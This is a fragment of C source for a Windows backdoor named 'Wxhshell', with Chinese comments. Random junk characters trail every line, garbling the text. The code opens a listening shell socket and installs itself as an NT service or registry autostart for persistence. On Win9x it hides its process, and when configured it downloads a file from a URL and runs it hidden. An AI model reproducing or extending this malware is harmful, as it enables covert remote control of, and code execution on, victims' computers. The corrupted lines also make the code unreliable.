DWORD BasePriority; ?b\oM
v5y
ULONG UniqueProcessId; Z=(Tq1t
ULONG InheritedFromUniqueProcessId; q I*7ToBJ
} PROCESS_BASIC_INFORMATION; -!IeP]n#P
|2Uw8M7.E
PROCNTQSIP NtQueryInformationProcess; 3e)$ <e
{2U3
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gyb|{G_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b fI= =
>{>X.I~
HANDLE hProcess; SZ~lCdWad
PROCESS_BASIC_INFORMATION pbi; ;KT/;I
8LUl@!4b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +g_m|LF
if(NULL == hInst ) return 0; .pIO<ZAFT
-@.FnFa
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d2Ta&Md
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h;):TFiC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C=JS]2W2
A[uB)wWsn
if (!NtQueryInformationProcess) return 0; kc<5wY_t
?*'0;K13
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); se*k56,
if(!hProcess) return 0; Cng_*\=O
uzIM?.H
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xq}}T%jcd
^0?ww&X
CloseHandle(hProcess); dtig_s,)D
(6&"(}Pai
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >96+s)T%;
if(hProcess==NULL) return 0; C$4{'J-ZH
3gtKD9RL:
HMODULE hMod; 8~3I^I_v
char procName[255]; J+}z*/)|#
unsigned long cbNeeded; *E+VcU
yQf(/Uxk*x
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XW~a4If
OxUc,%e9P
CloseHandle(hProcess); q>.C5t'Qx
]}n|5
if(strstr(procName,"services")) return 1; // 以服务启动 Y(gai?
c/V0AKkS
8
return 0; // 注册表启动 I@TH^8(
} Wl}J=
0[ (kFe
// 主模块 g!OcWy)7
int StartWxhshell(LPSTR lpCmdLine) bz.sWBugR
{ =sF4H_B
SOCKET wsl; 8,(--A
BOOL val=TRUE; N#XC%66qy!
int port=0; dx+xs&
struct sockaddr_in door; (-`PO]e48
u"m TS&
if(wscfg.ws_autoins) Install(); BCtKxtbS
f?>
?jf
port=atoi(lpCmdLine); &.qLE
P)LOAe1'
if(port<=0) port=wscfg.ws_port; oDayfyy4y)
/IF?|71,m
WSADATA data; ~(B%E'
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q(A_k+NL
HZ1 nuA
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t<`d*M2w
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .`(YCn?\
door.sin_family = AF_INET; [f}`reRlZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); WD! " $
door.sin_port = htons(port); sL;;'S&
&3 Ki
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W|"bV 6d3
closesocket(wsl); Y#6LNI
return 1; 2p4iir
} lJ,\^\q
oTx>oM,
if(listen(wsl,2) == INVALID_SOCKET) { ?*ZQ:jH
closesocket(wsl); T3LVn<Lm\
return 1; OR37
} 0A-yQzL|
Wxhshell(wsl); {Ppb ;
WSACleanup(); u:tcL-;U
kDxI7$]E
return 0; PZO.$'L|7
O+/{[9s
} MZxU)QW1
J3e'?3w[
// 以NT服务方式启动 h:sf?X[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g"kET]KP"
{ U#Iwe=
DWORD status = 0; Z^=(9:
DWORD specificError = 0xfffffff; 2%J] })
RLzqpE<rJ
serviceStatus.dwServiceType = SERVICE_WIN32; Qwve-[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; X*w;6 V
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .mcohfR
serviceStatus.dwWin32ExitCode = 0; ~wOMT
serviceStatus.dwServiceSpecificExitCode = 0; jeJspch+#
serviceStatus.dwCheckPoint = 0; wy{sS}
serviceStatus.dwWaitHint = 0; R3.w")6
:SWrx MT
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %4t?X
if (hServiceStatusHandle==0) return; QDVSFGwr
<a&xhG}
status = GetLastError(); 8~~ k?
if (status!=NO_ERROR) _a|g
>
{ H8B2{]HAt
serviceStatus.dwCurrentState = SERVICE_STOPPED; r!w*y3
serviceStatus.dwCheckPoint = 0; @F*z/E}e
serviceStatus.dwWaitHint = 0; U2tgBF?)A
serviceStatus.dwWin32ExitCode = status; S3$C#mHX
serviceStatus.dwServiceSpecificExitCode = specificError; aBQ@n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~66v.`K!
return;
?^MH:o
} b$_qG6)IJO
6ecx!uc$
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7GG`9!l]D
serviceStatus.dwCheckPoint = 0; 0pl'*r*9
serviceStatus.dwWaitHint = 0; Ktvs*.?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p!)tA
} Evqy e;
6c27X/'Z
// 处理NT服务事件,比如:启动、停止 -nX{&Z3-s
VOID WINAPI NTServiceHandler(DWORD fdwControl) g>eWX*Pa|
{ ,,6lQ]wG
switch(fdwControl) qW|h"9sr
{ HZS.%+2
case SERVICE_CONTROL_STOP: ;`kOFg#`)c
serviceStatus.dwWin32ExitCode = 0; 'J!Gip ,
serviceStatus.dwCurrentState = SERVICE_STOPPED; e6qIC*C !
serviceStatus.dwCheckPoint = 0; | z_av
serviceStatus.dwWaitHint = 0; H@ty'z?
{ M?hPlo"_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K`ygW|?gt
} LWSy"Cs*
return; {{[@ X
case SERVICE_CONTROL_PAUSE: z|Xt'?9&n
serviceStatus.dwCurrentState = SERVICE_PAUSED; Z0D&ayzkh^
break; T nyLVIP
case SERVICE_CONTROL_CONTINUE: dVGcth;
serviceStatus.dwCurrentState = SERVICE_RUNNING; !U(KQ:j
break; K|6}g7&X
case SERVICE_CONTROL_INTERROGATE: xG Y!r"[
break; f,LeJTX=
}; AXi4{Q,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PJe\PGh
} m7XN6zX
%u<r_^w5
// 标准应用程序主函数 jGJf[:M&Pm
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +9')G-`qj
{ pCa~:q*85
W?.xtQEv
// 获取操作系统版本 3/&
|Z<f
OsIsNt=GetOsVer(); )=aqj@v
GetModuleFileName(NULL,ExeFile,MAX_PATH); */TO$ ^s
A e2Y\ sAV
// 从命令行安装 LW("/
if(strpbrk(lpCmdLine,"iI")) Install(); kI5LG6
3W.D^^)eCV
// 下载执行文件 d~QJ}a
if(wscfg.ws_downexe) { *tkf)[(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]^{5`
WinExec(wscfg.ws_filenam,SW_HIDE); 0tMzVxS
} NcX-*o
,'l.u?SKyd
if(!OsIsNt) { /w2IL7}
// 如果时win9x,隐藏进程并且设置为注册表启动 _+}hId
HideProc(); -~lrv#5Q
StartWxhshell(lpCmdLine); YxA nh
} 9jl\H6JY|
else gB,Q4acjj
if(StartFromService()) Yx ;j
// 以服务方式启动 9{A*[.XK]
StartServiceCtrlDispatcher(DispatchTable); F%{z EANm
else HJ!)&xT
// 普通方式启动 T).}~i;!
StartWxhshell(lpCmdLine); }:0HM8B7!
\(5Bi3PA}
return 0; D6e<1W
}